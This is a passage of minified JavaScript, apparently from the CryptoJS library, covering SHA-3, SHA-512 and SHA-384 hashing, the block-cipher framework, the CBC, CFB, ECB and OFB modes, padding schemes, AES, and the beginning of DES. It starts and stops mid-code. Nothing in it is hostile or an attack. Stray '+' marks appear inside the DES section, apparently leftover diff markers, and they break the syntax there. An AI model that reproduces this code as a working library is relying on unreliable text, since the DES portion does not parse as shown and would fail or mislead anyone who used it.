>>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, 